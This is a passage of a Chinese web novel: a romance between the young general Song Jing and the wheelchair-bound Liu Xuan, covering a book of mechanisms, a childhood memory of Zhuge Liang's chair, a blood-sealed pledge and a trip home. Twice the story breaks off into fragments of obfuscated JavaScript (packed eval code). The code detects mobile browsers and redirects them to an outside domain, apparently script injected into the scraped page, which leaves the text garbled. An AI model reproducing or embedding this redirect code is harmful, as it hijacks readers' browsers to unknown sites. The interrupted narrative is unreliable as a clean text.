“好了。”宋旌松开丹良的脑袋,扶住有些晕头转向、腿脚发软的丹良,朝他摆了摆手,“你个小家伙就别瞎操心了,整天跟个小管家婆似的。” 宋旌强行打发走了丹良,用袖子随意抹掉下巴上的汗水,又拿起一本崭新的书册,正打算往书页里夹几根木棍,以便晾晒时。 “《千机秘术》?”宋旌轻声念出书封上那个狷狂又神秘的名字,眼中闪过一丝好奇。 14.轮椅 说实话,宋旌在费心整理了大半个箱子的藏书之后,又从柳悬那琳琅满目的藏书中翻出数本前所未见的异籍诡册,这本不应该让他感到特别好奇。 然而!偏巧宋旌是个只看图不看字的主儿,这本为数不多且绘有精妙图画的民间典籍,在宋旌翻开它的那一刹那,瞬间就将他的目光牢牢吸引。 宋旌迫不及待地翻开这本汇聚天下奇巧机关之术、堪称古今机关术大成的宝典,第一眼便瞧见了那与柳悬曾经所乘轮椅极为相似的机关设计图——灵枢行云椅。 “子夏!你瞧,这书中所绘,是否正是你那轮椅的出处?”宋旌如获至宝般捧着书,急匆匆地奔入屋内。 若是他的记忆无误,柳悬前些时日被他拽下水时所折损在湖中的轮椅,正是一把极为精妙绝伦的机关椅! 柳悬闻言,心中微动。 他缓缓抬起眼帘,目光穿过层层叠叠的光影,定格在不远处的门边。 影影绰绰间,最先映入眼帘的是一道道金灿灿的阳光,那阳光如同一块细密的织锦般,铺满了整个空间。 在光芒的映衬下,一颗颗五光十色的六芒星仿佛拥有了无穷无尽的生命力,它们跳跃着、闪烁着,零零散散地洒落在宋旌的身上,为他镀上一层神秘的光彩。 宋旌身着一件绛红色的圆领窄袖缺胯四?衫,英姿飒爽,臂上还佩戴着一条黑色襻膊,显得尤为干练利落,缺胯四?衫的下摆被宋旌掖进腰间的镶金嵌宝腰带里。 在宋旌大步流星地走向柳悬时,柳悬的目光落在了宋旌的脸上。 在阳光的照耀下,柳悬注意到宋旌的鬓角已被汗水濡湿,晶莹的汗珠凝结成几道透明的水痕从宋旌的下颌角滑落,沿着他那修长的脖颈缓缓流淌,再经过两侧深陷的锁骨窝,一路蜿蜒向下,最终隐没于微敞的圆领之中,消失于柳悬的视线之外。 宋旌止步于书案,俯身倾前,在柳悬的正对面,深弯下腰,将手中的宝典递到柳悬的眼前。 此时,柳悬的目光还未来得及收回。 目光所及之处,宋旌那松松垮垮的圆领间豁然敞开的缝隙似乎更大了。 一眼便叫柳悬瞧见宋旌那件圆领下最贴身的白色里衣已被汗水微微浸湿,颜色相较于以往而言,也要更为深邃些。 清冷的书房里,唯有宋旌的身上残存有暖阳。 柳悬直直望向宋旌,望见那锁骨下的肌肤上有潺潺水光,像是夏日里波光粼粼的水面一样,水色星星点点,悄然匿迹于胸膛之下,藏入更为深远的地方。 “哥哥?”见柳悬竟然在发愣,摸不清柳悬现下的思绪,宋旌怕吓着他,只敢轻唤一声。 柳悬被宋旌唤醒,又见他这般少见的模样,放荡不羁中有不苟言笑,辛苦劳作时又有别具一格的韵味,忽然,柳悬的心里就萌生出一种异样的感觉,那感觉是说不清,也道不明…… “啊?” 柳悬猛一回神,像是完全没听见宋旌方才说过什么,只模模糊糊记得,宋旌方才唤了他一声“子夏”? 为何宋旌会唤他子夏?! 他们何时已经变得这般亲密了吗!? 可是......柳悬还没想明白,自己到底要不要纠正宋旌称呼自己的方式,向宋旌强调不许宋旌唤他的乳名。 “哥哥,你瞧,这图上画得可对?” 宋旌的话再次打断了柳悬的思绪,将他的注意力引回到书册上。 柳悬顺着宋旌的指示看去,果真在那本图画上,瞧见了那把从小用到大的机关椅。 他,怎么就忘了呢...... “话说那天下风云,变幻莫测,分合无常,此乃历史长河之湍流,亘古不变之真理。” “今日,吾欲为诸位娓娓道来一段三国时期的传奇史诗,其主角,乃是那名扬四海、智谋超群、被后世敬仰为‘卧龙’的诸葛孔明。” 那年,春樱盛开,花瓣随风轻舞,洒满一地绚烂。 在如诗如画的景致中,一团软软糯糯的小不点正悄悄地藏在人群中。 他那稚嫩的脸庞上写满了期待,一双好奇的大眼睛正紧紧地盯住台上的说书人,生怕错过一丝一毫的精彩。 说书人呷了一口茶,继续道:“话说那诸葛孔明,才高八斗,学富五车,有通天彻地之能,鬼神难测之术。” “他虽隐居于茅庐之中,却志存于天下之间,一出山便助那织席小儿打下蜀汉江山。” “且说那日......” “烽火连天,孔明先生领兵出征,他泰然自若、威风凛凛,端坐于孔明车上。” ...... “车上,孔明先生羽扇轻摇,他每一次调兵遣将都令人啧啧称奇,每一次出谋划策都让人拍案叫绝。” ...... “就这样,在谈笑风生间,孔明先生已运筹帷幄、决胜千里。” ...... “狼烟四起,孔明车所到之处,敌军无不闻风丧胆,纷纷溃逃。” 小不点的神情随那说书人的讲述而精彩纷呈,他时而紧张得屏息凝神,时而兴奋得手舞足蹈,仿佛自己也置身于那波澜壮阔的古战场上。 ...... “欲知后事如何,且听下回分解。” 记不清过了多久,说书人又饮了一口桌上的茶水,故意停顿了一下,在说到最精彩的地方时,将醒木一拍,为今天的故事留下一个勾人的悬念。 茶楼散了场,小不点在东张西望时被一位气宇轩昂、身着青色襕衫的儒生轻轻揽入怀中,从宽大的长凳上抱起。 “父亲~” 小不点亲昵地唤了一声,声音中满是依赖与欢喜。 那儒生一脸宠溺,轻捏了一下小不点的脸颊,为他细心整理好起皱的衣衫,又温柔地蹭去他鼻头上凝结的汗珠,轻声细语道:“天色已晚,咱们该回家了。” “嗯!”小不点笑着点点头,一张小脸绯红,脸上溢满了幸福。 走在橘红色的夕阳下,儒生的怀里揣着一只乖巧的小兔子,步伐稳健,又柔声问道:“今日,先生讲了什么故事?” “是忠武侯的故事!”小不点回想起脑海里的画面,隐隐有些兴奋,他紧攥起儒生的衣领,眼中浮光潋滟,像是充满了无尽的期待般,十分憧憬。 “那依子夏所见,伏龙先生为何身强力壮、意志坚韧,却仍坐于孔明车上,以策群雄、号万军?”儒生笑问,语气像是在诱发小不点思考一般,带着一丝探究。 小不点摇摇头,似乎父亲所问亦是他心中所惑,他也不明白,为何每次两军对垒时,伏龙先生皆要坐于木车之上。 儒生轻笑一声,缓缓道:“伏龙先生曾言,审天地之道,察众人之心。” “这世间,人往往欺辱弱小,犹如大鱼吞小鱼,狐狸捕兔子,恃强轻弱、以强欺弱,此乃自然之理,亦是人性之弊。” “然,反者道之动,弱者道之用。” “真正的智者,不因以力胜,而该以智取,攻其心为上。” “伏龙先生端坐于车上,非因其身体之需,而是他深谙此道。” “他若以寻常之姿出战,或许能胜,却难以震慑敌心,难以让敌军真正心服。” “然而,当先生悠悠然坐于车轴之上,以智者之姿,运筹帷幄、决胜千里时,敌军便知,先生之智不可测,先生之心不可欺,从而心生敬畏,不战而屈人之兵也。” “有道是,胜兵似水。夫水者,至柔弱者也,然其所触之丘陵,必为之崩,所淹之田野,必为之荒。” “伏龙先生之智,便同那水一般,状似柔弱,却无穷无尽,能摧枯拉朽,能涤荡乾坤。” 儒生托起怀中的小不点,满含希冀地望向他,他的话像是汩汩甘泉,滋润着小子夏的心田。 小不点在儒生的注视下,若有所思地点点头,虽似懂非懂,但仍是一脸坚定地回道:“孩儿明白了,孩儿以后也会像伏龙先生一样,做一个智勇双全,懂谋略、晓人心、善战不斗之人。” 儒生闻言,脸上的笑意更甚,他轻轻地摸了摸小不点的脑袋,仿佛要将一生都奉献给他。 小不点眨了眨眼,旋即笑开,他扯着儒生的袖子,调皮地撒娇道:“那父亲定要为我也做一把独一无二的木椅才行,我想要像伏龙先生一样,坐在木椅之上,运筹帷幄、决胜千里!” 儒生无奈地笑了笑,他满口答应,轻声回道:“好~为父定用最好的木料,为你做一把世间无二的木椅!” 夕阳下,父子俩的身影被无限地拉长。 那轻快的笑声似乎也被无尽的刀戈剑鸣所淹没…… 他怎么就忘了呢? 他不应该忘了呀…… 那把椅子……原就是一个他最不期望回忆起的、一个让他噩梦缠身的开端…… 柳悬没想到这本唯一没有被他看完的书册,居然被宋旌从某个犄角旮瘩里重新翻了出来,以至于他都忘了这本书的存在。 “不错,因宋公子之缘由,那唯一一把机关椅的残肢断骸,眼下应当还沉在宋府的湖底,着实有些可惜。”柳悬一挑眉,推开宋旌放置在书案上的书,眼神晦暗,像是夜里没有光亮的一汪清水,叫人看不清水面下仍潜藏着什么。 十多年前,柳悬确实让柳行舟为他仿做了这把灵枢行云椅,而这把椅子也确实跟随他多年,最为称手。 只是……柳悬亦不在意它是存在?或是消失? 如果可以再选择一次,他是不是也能跟他所爱之人再度团聚? “此言当真?”宋旌的眼底闪过一丝惊喜,语调不自觉地高昂起来,仿佛捡到了什么稀世珍宝。 宋旌的声音似一束炽热的强光,直射进柳悬的心底,将柳悬心中那片厚重的墨色破开,驱散了那些缠绕在心上的阴霾。 柳悬微微一愣,又恢复到往常那般漠然的神态。 “宋公子想要这本书?”柳悬重新伏于案前,漫不经心,随口一问。 宋旌点点头,兴奋之色溢于言表。 “既然如此,那便赠予你吧。此书于我而言,已无甚用处。”柳悬轻瞥了宋旌一眼,却瞧见宋旌的眼里像是藏有让人一触即化的蜜糖,那嘴角洋溢的欢乐,令柳悬也忍不住为他驻目。 不知为何,柳悬忽然回想起当初在梨都第一次见到这本书时的忻悦,想起他与父亲一起做灵枢行云椅时的妙趣,还想起母亲为了让他活下去时,亲手打断了他的一双腿…… 算了吧……都已经过去了…… 柳悬阖上眼,他心中艰涩,可是泪水早已流干。 “哥哥这般慷慨,赠书予我,那我理应有所回礼才是。”宋旌合上书,移步至柳悬身侧,嘴角勾起一抹狡黠的笑容,“只是我觉着,这世间万物,似乎都不足以衬得上哥哥。” 宋旌仰起头,目光穿透房梁,仿佛在进行一场深邃的思考,“我思来想去,还是唯有那把灵枢行云椅,才能勉强与风华绝代的哥哥相配。” 说罢,宋旌稍稍一顿,收回视线,与柳悬那道探向他的目光紧紧交汇,眼中闪烁着坚定的光芒。 “哥哥也说过,那最好的一把机关椅是因我而折损,那我自然应当负责。”宋旌像是打定了主意一般,言语间透露出某种决心,“所以,不若让我再为哥哥做一把新的灵枢行云椅如何?” “……”柳悬方才已经隐约猜到宋旌的意图,他本想婉拒,说一声“不必了”。 然而,宋旌却未等他开口,便抢先他一步,继续说道:“哥哥莫要推辞,那就这般说定了!哥哥只管瞧好了便是。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14174280|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宋旌意气风发、自信满满,不容柳悬拒绝,他一把带过那本书,像怀揣着一件绝世珍宝,脚步轻盈,跑了出去。 当夜,柳悬忙完一天的事务后,轻红正伺候他服药、盥洗。 “宋……”柳悬本想唤“宋公子”,可是想到宋旌本人又不在他的屋里,便重新改为:“少将军已经回屋了?” 轻红将刚熬好的药放在书案上,闷闷不乐地回:“回了,亥时初刻,刚回。” “可是还在为丹良之事而不悦?”柳悬端起药碗,见轻红的面色不愉,便多问了一句。 “公子,我发觉你也变了。”轻红瞧柳悬终于有空理她,不像前些日子,总被宋旌时时刻刻霸占着,便拿来一个圆凳,坐在柳悬的身边,小心翼翼地瞧着他。 柳悬倒是没有什么变化,他将汤药一饮而尽后,用干净的手帕擦了擦嘴,不以为意道:“何出此言?” 轻红双手扶着凳沿,歪着头,目光紧锁着烛台上摇曳的火烛,沉吟片刻,忽地恍然大悟道:“若是以往,公子断然不会问出刚才那番话。” 说完,轻红又接着说道:“轻红确实不太明白,还望公子能为我指点迷津。” “有何不明?”柳悬将药碗放进一旁的食盒内,摇动木轮,行至宋旌整理好的书架前。 “公子为何要留少将军同住,又为何要忍受日日与少将军朝夕相处呢?” “公子最不喜之人、最不愿相见之人,岂不正是少将军吗?” 轻红心中疑惑已久,今日终于得到机会可以一探究竟,便一股脑儿地将诸多疑问倾泻而出。 她满心期待柳悬能替她解答那些憋了很久的问题,可柳悬却向她反问道:“轻红,你可还记得自己曾说过,少将军近来很是奇怪。” 轻红颇为不解,又挠了挠脑袋,喃喃说道:“嗯……似乎的确有这么一回事。” “可是,这跟公子你对少将军的态度有所转变又有何干系呢?”轻红不明白,她明明想问的是柳悬为什么突然变了,为何柳悬绕来绕去,又绕到了“宋旌与以往不同”这个问题上。 柳悬并未直接回答,而是从书架上轻轻抽出一本崭新的《后汉书》,右手手指轻轻翻动,书页“哗哗”作响,最终定格在“班超传”的起始页。 “正所谓‘亲身下河知深浅,亲口尝梨知酸甜’,有些事情,若不亲身经历,又如何能领悟其中的奥妙呢?”柳悬的话,意味深长,点到为止,言辞间流露出一丝深意。 轻红闻言,眼中闪过一丝迷茫,她瞪着一双溜圆的大眼睛,直愣愣地看着书架前被阴影笼罩住的柳悬,显然未能完全理解其中的含义。 随后,轻红微微皱起眉头,仿佛在努力思索柳悬话中的弦外之音。 柳悬见状,嘴角勾起一抹浅笑,带着几分无奈,又继续点拨道:“轻红,你可曾留意,少将军的左手何时变得这般灵巧自如了?” 轻红闻言,再度低头,沉思片刻。 忽然间,轻红想起宋旌一直以其右臂所展现出的“昊天神力”威震四方。 世人皆知,武学奇才,白虎将军的右手持枪可撼动山石,持弓可百步穿杨,其武艺超群,刀枪剑戟斧钺钩叉鞭……十八般武艺,他无所不精。 然而此刻,轻红的脑海中却浮现出少将军近日来用左手吃饭、持枪、做事的种种灵活表现,心中不禁泛起阵阵涟漪。 “啊!!!” 轻红猛地抬头,眼中闪过一丝明悟与惊愕,她不自觉地将一双手紧握成一双小小的拳头,仿佛受到了极大的震撼。 “公子是说!这个少将军是有人故意假冒的!他们利用易容之术,假扮成少将军,意图接近我们!” 柳悬瞧见轻红那惊讶又略带一丝紧张的表情,怔愣了一下,出乎意料地,忍不住笑出声,笑得前仰后合,好一会儿才缓过气来,向轻红宽慰道:“罢了,你便当作身边多了个不需付与月钱的帮手,不用也是闲着,用了便是获利即可。” 说完,柳悬还多添了一句:“少将军之事,你无需多虑,我心中自有计较。” 轻红听见柳悬的声音,心中的惊涛骇浪已经逐渐平息,但脸上仍残留了几分不可置信。 轻红呆呆地看着柳悬,嘴巴微张,仿佛想说什么,却又说不出话来。 过了好一会儿,轻红知道自己方才定是猜错了,才缓缓回过神来,有些懊恼地嘟起了嘴,低声说道:“哦,好吧。” “夜深了,你也去歇息吧。”柳悬移至轻红身边,轻轻拍了拍她的肩膀,言语间满是关怀。 “那公子也早些歇息,轻红先行告退。” 轻红说完,转身离开,但她的脚步还有些沉重,显然心中仍有很多困惑未能得到答案。 不过,轻红也不会再纠缠,她深知柳悬行事自有分寸,她相信柳悬一定能处理好所有的事情,而她只需要默默祈祷着一切都能顺利解决。 轻红走了,柳悬暗自松了口气,他悄悄收起自己的狐狸尾巴,回想起轻红最先说的那句话,又看向手中被太阳晒过的书册。 他变了吗? 他为什么会变了呢? 他从何时起,竟也会忍不住去注意宋旌是否在风斋? 以前的他也是这样的吗? 柳悬想不明白……他只觉得手中的书册被晒得有些烫手,那炽热的温度,仿佛要烫进他的心间。 柳悬低下头,视线回落到腿上那本书的其中一行字上——不入虎穴,焉得虎子。 柳悬觉着,即便他弄不明白自己为何也会发生变化,但他很清楚一点,那就是宋旌的心里一定藏了什么不可告人的秘密,而宋旌既有可能成为他未来的助力,也有可能成为他未来的阻力…… 因此,他要万无一失,就必须要亲自去一探究竟…… 15.契书 翌日,晨曦微露,薄雾缭绕,水汽氤氲于风斋内外。 风斋中,热闹非凡,数十个壮汉穿梭其间,他们或搬或抬,将一箱箱、一捆捆上好的木料卸于院中,一行人脚步匆匆,汗水涔涔,其中,还夹杂着木料摩擦时的吱嘎声与偶尔碰撞时所发出的沉闷响声,直搅得人心绪难宁。 在一片金色朦胧中,柳悬身披一件青古色的长袍,衣袂飘飘,宛如一副上古画轴中所描绘的仙人。 “轻红?” 柳悬轻启薄唇,轻唤了一声,声音温润如玉,却未见有人答应。 面露不悦,柳悬微微晃动木轮,操纵着那稍显笨拙的木椅,在青石板上滑行,缓缓驶向屋外。 室外,飞雪正端坐于朱漆环廊的美人靠上,一束阳光穿过水雾,洒在她那英气逼人的面庞上,为她镀上一层柔软的金辉。 此时,飞雪的手中紧握着一把寒光闪闪的佩剑,她细心地擦拭起剑身,银剑反射出的光芒与她眼中的光彩互相呼应。 见柳悬的轮椅已行至台阶前,飞雪抬眸望去,眼中闪过一丝关切,忙收起佩剑,起身施礼:“公子。” “此间因何事而喧闹?”柳悬蹙眉,向飞雪询问,言语间满是不耐。 柳悬的目光穿过飞雪,径直探向那间喧嚣的厢房与那些个忙碌的壮汉,只见汉子们高挽双袖,忙得热火朝天、不亦乐乎,他们在狭小的风斋院里,将不同宽窄长短的木料堆得如同一座小山丘那么高。 “回禀公子,是少将军连夜去东街买来的木料,说是要亲自打个物件。”飞雪见柳悬心有疑惑,连忙出声解释。 说完,飞雪还不忘补上一句:“少将军特意嘱咐过,若公子不喜,飞雪可以即刻命他们停下,待公子出门后再行运送。” 闻言,柳悬的视线轻扫过飞雪略显慌张的脸,目光微闪,似是在思考什么。 “少将军呢?怎不在屋里。”柳悬并未直接回应飞雪的请示,反而转头询问起宋旌的去向。 此时,柳悬的语气乍一听,好像是在关切宋旌,可是仔细一想,却又不免让飞雪有些紧张。 前些日子,宋旌总是日日守在柳悬的房门前,今日突然不见踪影,难免不会让柳悬生出几分好奇。 “少将军卯时初刻出门,”飞雪深知柳悬不喜他们向着旁人说话,刚刚她说的那两句话显然已招惹得柳悬不喜,眼下她只能收敛起自己的喜恶,如实细述,“说是耳闻西街有家羊肉胡饼极为美味,每日出摊便售罄,少将军想买来,让公子也尝尝鲜,故而未等公子苏醒,天未亮就出门去了。” 飞雪言辞恳切,陈述详情,字字句句皆是事实,不敢有丝毫添油加醋。 柳悬静静聆听,不知为何,他只觉得心下一动,有一股不明源头的暖流,缓缓淌过心间。 不知不觉,柳悬的眉眼间已瞧不出丝毫被人搅扰的郁色,只有恢复如初的淡然。 柳悬轻轻颔首,用和煦的声音,说了不轻不重的三个字:“知道了。” 说完,柳悬又径直回了屋。 徒留下一个摸准他心思的飞雪杵在走廊上,仍自思量,自己是否还有何处做得不够周全。 辰时过半,宋旌骑马回院。 当一身柔蓝色劲装的宋旌,带着晨间的露珠与一丝未散的寒意,匆匆穿过熙熙攘攘的人群,像捧着两个宝贝疙瘩似得,捧着两块热气腾腾的饼子,一路疾跑至柳悬的面前时,柳悬正坐在杏树下自弈。 “哥哥,快尝尝,这饼子刚出锅,还不满一盏茶的功夫,正热乎着呢!”宋旌单膝跪在柳悬的身侧,如同献宝一般,奉上两块油亮酥脆、肉香四溢的馅饼。 柳悬执棋的手一顿,仿佛被某种莫名的力量牵引,目光不由自主地落在宋旌那充满渴望的脸上。 宋旌的眼睛又细又长,微微泛红的眼尾稍稍上翘,有一种我见犹怜的违和感,在宋旌那挂有水珠的浓密睫毛下,有两颗神采奕奕的瞳仁,那宛若黑曜石般的瞳仁里,像是镶嵌了无数的黄金、碎钻,只一眨眼,似乎就能迸射出令人不敢直视的金光。 “哥哥再瞧我,饼子该凉了,”宋旌的脸上挂着既清透又干净的笑意,他即便一直用被烫得通红的手指去触摸自己的耳垂,也不曾放下手中那两块炽热的胡饼,“这油饼凉了可不好吃,我为它足足等了快两个时辰,哥哥好歹尝一口嘛。” 柳悬心神恍惚,像是中了邪一样,在放下旗子、接过宋旌递来的胡饼时,又鬼使神差地伸出另外一只手,替宋旌拿走发丝间勾住的一片柳叶。 柳悬的手指尖被宋旌的发丝不经意间刮过,就像是被拨动的琴弦,令柳悬那颗本就悬着的心猛然轻颤了一瞬。 心绪如翻腾的海面,始终无法宁静,手中的油饼也像是滚烫的烙铁般,直烫进柳悬的心里,让柳悬在惊慌失措间,下意识地将手中的胡饼塞进空荡荡的嘴里,堵住心口那股直往外涌的奇异感觉。 “哥哥觉着,味道如何?”见柳悬一拿到手就咬了满满一大口,宋旌十分期待地凑上前,两只像小狗般水汪汪的眼睛直勾勾地望向柳悬,见柳悬不肯说话,又挠了挠后脑勺,有几分尴尬,急着解释道,“路上回来得急,没顾上尝一口,不知道真好吃假好吃,若是不好吃的话,哥哥别气,我定去找那摊主‘理论理论’。” 柳悬吃得也急,还被那油饼给生生噎了一下,以往早食,亲近之人皆知他生性不喜用过于油腻的膳食,且按常理来说,他应当吃不惯那北方的胡饼。 可是当柳悬咽下食物后,他不仅没有因为肉饼过油而感到恶心,亦或是因为吃得太快而食之无味,他甚至还觉着,手中的烙饼果真异常美味?! 柳悬情不自禁地点点头,就在他刚要脱口而出,说“好吃”那两个字时,轻红从主屋内出来,朝他俩说道。 “公子,东西已准备妥当,咱们何时启程回府?”轻红提了个木箱,看上去像是要出远门的模样。 今日是一旬中难得的休沐日,柳悬本就打算回宋府,去探望一下宋言章与韩书月夫妇,只是他原本想赶在宋旌回风斋前,先一步回宋府,但是眼下却不凑巧,被宋旌撞了个正着。 无意中被戳破心思的柳悬,不仅两颊瞬间通红,就连那耳根也染上了一抹红晕。 “这饼你自己吃吧,我们方才已经用过早膳了。”柳悬局促地将吃过一口的胡饼胡乱塞回到宋旌的手中,心想哪里有刚吃过人家辛辛苦苦买回来的东西,又丢下人家眼巴巴往人家家里去的道理? 可是柳悬已经差人往宋府递了待会要回府的消息,他又不能让宋言章夫妻两空欢喜一场,于是只能别过脸,先将轻红打发去别处备车,自己则继续揣着明白装糊涂,当作方才的一切从未发生过。 “哥哥待会要回府?”宋旌也不纠结饼好不好吃的问题了。 他一眼就瞧出了柳悬的小心思,就着柳悬刚刚咬过一口的胡饼,当着柳悬的面,在柳悬刚咬过的地方,又咬了一大口。 看着柳悬愈发熟透的脸,宋旌继续笑说道:“原来哥哥回府,也不愿带我一起呀~” 宋旌尝得第一口羊肉胡饼的味道简直是地上有、天上无的人间绝品,以至于宋旌再吃下第二口时,已经没了同那一口一般无二的滋味了。 柳悬放低视线,刻意不与宋旌的目光交错,掩唇轻咳数声,用略显生涩的嗓音,极其克制地说:“只不过是想回去见见伯父伯母罢了。” “哥哥……”宋旌起身,倚靠在棋桌旁的杏树上,双手环胸,双腿交叠,一只脚的靴尖点地,一边大口吃着手中渐冷的肉饼,一边以审视的姿态,探头去瞧柳悬刻意掩藏在阴影下的脸。 “这是……不生我的气了?”宋旌的眉梢轻轻一扬,清亮的眼底掠过一丝狡黠,言语间有一丝玩味与探究,平时看上去不怎么机灵的脑袋现下也转得飞快,小心揣度起柳悬的心思。 经宋旌一问,柳悬眼中的羞涩之情也荡然无存,他轻笑一声,抬起一双安适如常的眼眸,重新执起一枚白子,若无其事地反问道:“柳悬是何身份?岂能与赫赫有名的少将军置气?” “即是如此,那便一起回吧。”宋旌听得柳悬此言,倒也不与他多客气几个来回,直接一口吃掉手中最后一块肉饼,直起身,拍掉饼屑,迈步欲走。 “不许!” 柳悬的棋子眼看就要落下去了,却没料到宋旌压根不按套路出牌,这手下一滑,白子落偏,满盘皆输。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14187968|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “为何不许?”宋旌勾起嘴角,双手负于身后,靴尖微转,朝柳悬的方向,踱步而去,明知故问道。 “你回你的,我回我的,”柳悬懊恼地收拾起惨败的棋局,将棋桌上的棋子一颗颗收回棋罐里,一字一顿,仍然在负隅顽抗:“总之,你不许同我一道回去。” 宋旌走上前,帮柳悬一起归拢桌上的棋子,又小声追问道:“当真不许?” 见柳悬光顾着埋头做事,也不愿意多搭理他几句,宋旌那牛一样的倔脾气一下子就上来了,用有点儿耍赖的意味儿,宋旌赌气地说:“若我偏要一起去呢?哥哥又能奈我何?” 然而,柳悬还是充耳不闻。 “不是哥哥说……”宋旌见他跟柳悬来硬的不行,又蹲下身子,委屈巴巴地拽住柳悬的袖口,不依不饶地问:“将军府是我宋旌的将军府,盛京只有我宋旌想去的地方与不想去的地方吗?” “那眼下我就想去哥哥身边,为何哥哥却不让我去?那哥哥以前说过的那些话岂不是在诓骗我?”宋旌一边用柳悬的话来堵柳悬的嘴,一边瞪着一双无辜的大眼睛,偏了偏头,尽可能让自己看上去更可怜一些。 “......”柳悬的袖子被宋旌轻轻向下扯了几下,他瞥见宋旌身上那件未来得及换下的湿衣,想起他天还未亮就骑马去那么远的地方为他买早点,终究还是心有不忍,叹了一声气。 “若你想一同回府,亦无不可。”柳悬从宋旌手中抽回袖子,将两个棋罐搁置在腿上,摇动木轮,驶向书房。 “有何条件?”宋旌追上柳悬,主动替他推动轮椅,心情甚好。 柳悬将棋罐放在书架上,又回到堆积如山的书案边,从一堆杂乱的书册中取出一张白纸,草草写了几笔,递到宋旌的眼前,接着说:“只要你肯允诺我一个要求,在你有生之年必定完成,不限时限,我就同你一道回府。” “哥哥不会是想让我搬出风斋,亦或是让我离哥哥远点,不许我再去叨扰哥哥之类的要求吧?”宋旌的脸瞬间就垮了下来,他并没有去接柳悬递来的那一张纸。 柳悬也没想到宋旌此时会这么警觉与敏感,更没想到,能不能继续住在风斋,在宋旌心里,居然比完成宋言章的任务还要更重要? 明明柳悬要是同意了今日跟宋旌一起回宋府,宋旌就有理由跟宋言章交差,宋言章也不会过分为难他,宋旌更不用日日与自己一起困在风斋这方寸之地。 可是宋旌现在非但不担心柳悬一直不配合他,他就要一辈子在柳悬的面前低声下气地讨好柳悬,反而更担心柳悬以后会不会以此为要挟来赶他走? “不会,若你仍不放心,白纸黑字,你大可先明确你允诺的范畴。” 柳悬心底暗自发出一声冷笑,他宋旌莫不是把自己当成了三岁小孩?会做出杀鸡焉用牛刀的蠢事? 柳悬自认为,他若真想让宋旌再也不纠缠自己,他有成千上万种法子可以达到这个目的,而他为了做这种毫无意义与价值的事情,竟然要白白浪费掉这般来之不易的好机会?那他岂不是真的要沦为历史上的笑料? “话虽如此,但你也别太过分。”柳悬见宋旌已经提笔往纸上写,怕他会写个没完没了,立下诸多限制,便又不放心地补充了一句。 宋旌迅速挥笔,三两下便龙飞凤舞地写好了纸上的内容。 当宋旌将纸张递给柳悬时,柳悬只瞧见上面赫然写着一行字:“无论何种情况下,凡是对哥哥不利,或让宋旌远离哥哥、伤害哥哥的要求,统统作废,生死亦然。” 在柳悬的视线扫过纸上的内容后,宋旌在柳悬尚未来得及阻止时,从大腿外侧取下随身携带的匕首,用它划破拇指,朝柳悬苦笑一声,无奈道:“哥哥怕是一直都小瞧了我的心意,亦或是从不将我的话放在心上。” 宋旌用带血的手将那一张书契按在轮椅的扶手上,另一只手扶住轮椅的另一侧,从上至下,俯视柳悬,不容置疑道:“哥哥以后定要记住了,即便没有这书契,别说是一个要求,就算是十个、百个……” “宋旌也乐、意、之、至。” 说罢,宋旌收刀入鞘,留下那一张染了血的契书与心绪复杂的柳悬,独自回了屋。 16.看戏 宋旌回转屋内,迅速换上一袭干爽衣物,衣衫轻扬,步履如风。 再出门时,他目光所及之处,只见柳悬正独坐在杏树下,神情恍惚,似是被心事所扰。 此刻,院中静谧无人,只剩下柳悬。 飞雪与轻红已去备车,六一那小家伙又不知躲到哪个角落里去偷闲了,连松则是每隔两日便需替宋旌前往军营传令,丹良也忙得不可开交,一早就去东城打点宋旌名下的产业。 一片浅色光影里,只余风过叶响,卷起淡淡花香。 宋旌悄无声息地行至柳悬身后,顺手握住轮椅两侧的把手,轻声道:“走吧。” 轮椅缓缓移动,碾过青石板路,发出沉稳而有规律的“咚咚”声,不紧不慢。 木轮微晃,柳悬如梦方醒,眼底滑过一丝惊慌,随即低声应了一句:“嗯。” 英才院内,规矩森严,除去皇室子女以外,其余人皆不可乘坐轿撵或马车。 然而,柳悬行动不便,无法像宋旌一样御马出行,只能依靠马车代步。 因此,宋旌需先步行,将柳悬送至英才院的坊墙外,方能乘车,这也是柳悬提前差飞雪与轻红去别处备车的缘由。 离开风斋后,两人皆未言语,仿佛各自心中藏着难以言说的秘密。 一路上,冷灰调的云层下,虫鸣鸟叫之声交织成曲,即便天色阴沉,可是相较于往常而言,来来往往的行人却只多不少。 他们或匆匆而过,或悠然漫步,皆在这难得的休沐日里,寻觅一份宁静与自在。 其中,不乏有文人雅客,他们会唤上三五知己,众人临湖而坐,轻摇折扇,品一口香茗,吟一首佳诗,好不惬意。 亦有好角抵者,他们围坐在一片草长莺飞的空地上,或摔跤或比武,相互较量着技艺与勇气,引得周围看客阵阵喝彩。 总之,在摆脱了繁重的学业后,一众门生皆乐得逍遥,纵情享受。 不过,当宋旌与柳悬各怀心事,途径惜露院,行至落霜院时,他们却意外撞上了一出好戏。 只见落霜院的院门前正围满了一群看热闹的不速之客,喧嚣之声,此起彼伏,如同沸水般翻腾。 “哟,这不是公子跟前的红人嘛?” 一道略显阴柔的男声从层层叠叠的人群中传来,那男声似乎是刻意提高了说话时的音量,好让周围的门生都能听见。 宋旌循声望去,只见一个身材娇小的男子,虽然穿着上乘的料子,但是脚下踏的却是一双草鞋,显然是哪家公子身边的侍童。 